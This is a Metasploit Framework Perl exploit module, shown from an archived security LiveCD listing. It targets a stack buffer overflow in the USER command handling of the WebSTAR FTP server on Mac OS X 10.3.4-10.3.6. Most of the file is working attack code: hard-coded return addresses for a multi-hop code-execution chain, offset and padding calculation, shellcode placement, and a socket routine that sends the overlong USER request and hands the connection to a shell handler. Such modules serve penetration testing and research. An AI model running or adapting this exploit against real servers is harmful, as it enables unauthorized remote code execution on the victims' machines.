home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / webstar_ftp_user.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  144 lines

  1. ##
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::webstar_ftp_user;
  10. use base "Msf::Exploit";
  11. use strict;
  12. use Pex::Text;
  13.  
  14. my $advanced = { };
  15.  
  16. my $info =
  17.   {
  18.     'Name'    => 'WebSTAR FTP Server USER Overflow',
  19.     'Version' => '$Revision: 1.10 $',
  20.     'Authors'=>
  21.       [
  22.         'Dino Dai Zovi <ddz [at] theta44.org>',
  23.         'H D Moore <hdm [at] metasploit.com>'
  24.       ],
  25.  
  26.     'Arch'  => [ 'ppc' ],
  27.     'OS'    => [ 'osx' ],
  28.     'Priv'  => 1,
  29.  
  30.     'UserOpts'  =>
  31.       {
  32.         'RHOST' => [1, 'ADDR', 'The target address'],
  33.         'RPORT' => [1, 'PORT', 'The FTP server port', 21],
  34.         'MHOST' => [0, 'ADDR', 'The address of the attacking system'],
  35.       },
  36.  
  37.     'Payload' =>
  38.       {
  39.         'Space'     => 300,
  40.         'BadChars'  => "\x00\x20\x0a\x0d",
  41.         'Keys'      => ['+findsock'],
  42.       },
  43.  
  44.     'Description'  => Pex::Text::Freeform(qq{
  45. This module exploits a stack overflow in the logging routine of the
  46. WebSTAR FTP server. Reliable code execution is obtained by a series of hops
  47. through the System library.
  48.  
  49. }),
  50.     'Refs'  =>
  51.       [
  52.         ['OSVDB', '7794'],
  53.         ['BID', '10720'],
  54.         ['MIL', '76'],
  55.       ],
  56.  
  57.     'Targets' =>
  58.       [
  59.         ["Mac OS X 10.3.4-10.3.6",  0x9008dce0, 0x90034d60,0x900ca6d8, 0x90023590],
  60.       ],
  61.  
  62.     'Keys'  => ['webstar'],
  63.  
  64.     'DisclosureDate' => 'Jul 13 2004',
  65.   };
  66.  
  67. # crazy dino 5-hop foo
  68. #$ret = pack('N', 0x9008dce0); # call $r28, jump r1+120
  69. #$r28 = pack('N', 0x90034d60); # getgid()
  70. #$ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r30
  71. #$r30 = pack('N', 0x90023590); # call $r3
  72.  
  73. sub new {
  74.     my $class = shift;
  75.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  76.     return($self);
  77. }
  78.  
  79. sub Exploit {
  80.     my $self = shift;
  81.     my $target_host = $self->GetVar('RHOST');
  82.     my $target_port = $self->GetVar('RPORT');
  83.     my $target_idx  = $self->GetVar('TARGET');
  84.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  85.     my $mhost       = $self->GetVar('MHOST');
  86.  
  87.     if (! $mhost) {
  88.         $mhost = Pex::Utils::SourceIP($target_host);
  89.     }
  90.  
  91.     my $target = $self->Targets->[$target_idx];
  92.  
  93.     my ($res, $req);
  94.     my $s = Msf::Socket::Tcp->new
  95.       (
  96.         'PeerAddr'  => $target_host,
  97.         'PeerPort'  => $target_port,
  98.         'LocalPort' => $self->GetVar('CPORT'),
  99.       );
  100.  
  101.     if ($s->IsError) {
  102.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  103.         return;
  104.     }
  105.  
  106.     # Offset is dependent on length of IP address request comes from
  107.     # (overflow is in log file line buffer)
  108.     my $base = 285 - length($mhost);
  109.  
  110.     $req = Pex::Text::PatternCreate($base + 136 + 56 + length($shellcode));
  111.  
  112.     # ret = 296
  113.     # 25  = 260
  114.     # 26  = 264
  115.     # 27  = 268
  116.     # 28  = 272
  117.     # 29  = 276
  118.     # 30  = 280
  119.     # 31  = 284
  120.  
  121.     # r1+120 = 408
  122.  
  123.     substr($req, $base + 24, 4,  pack('N', $target->[1]));  # call $r28, jump r1+120
  124.     substr($req, $base, 4,       pack('N', $target->[2]));  # getgid()
  125.     substr($req, $base + 136, 4, pack('N', $target->[3]));  # (r1+120) => r3 = r1 + 64, call $r30
  126.     substr($req, $base + 120, 4, pack('N', $target->[4]));  # call $r3
  127.     substr($req, $base + 136 + 56, length($shellcode), $shellcode);
  128.  
  129.     $res = $s->Recv(-1, 15);
  130.     ($res) = $res =~ m/^([^\n\r]+)(\r|\n)/;
  131.  
  132.     $self->PrintLine("[*] Attacking ".$target->[0]." ($res)...");
  133.     $s->Send("USER $req\r\nHELP\r\n");
  134.  
  135.     $res = $s->Recv(-1, 5);
  136.     chomp($res);
  137.     $self->PrintLine("[*] $res");
  138.  
  139.     # Call the client handler
  140.     $self->Handler($s->Socket);
  141.  
  142.     return;
  143. }
  144.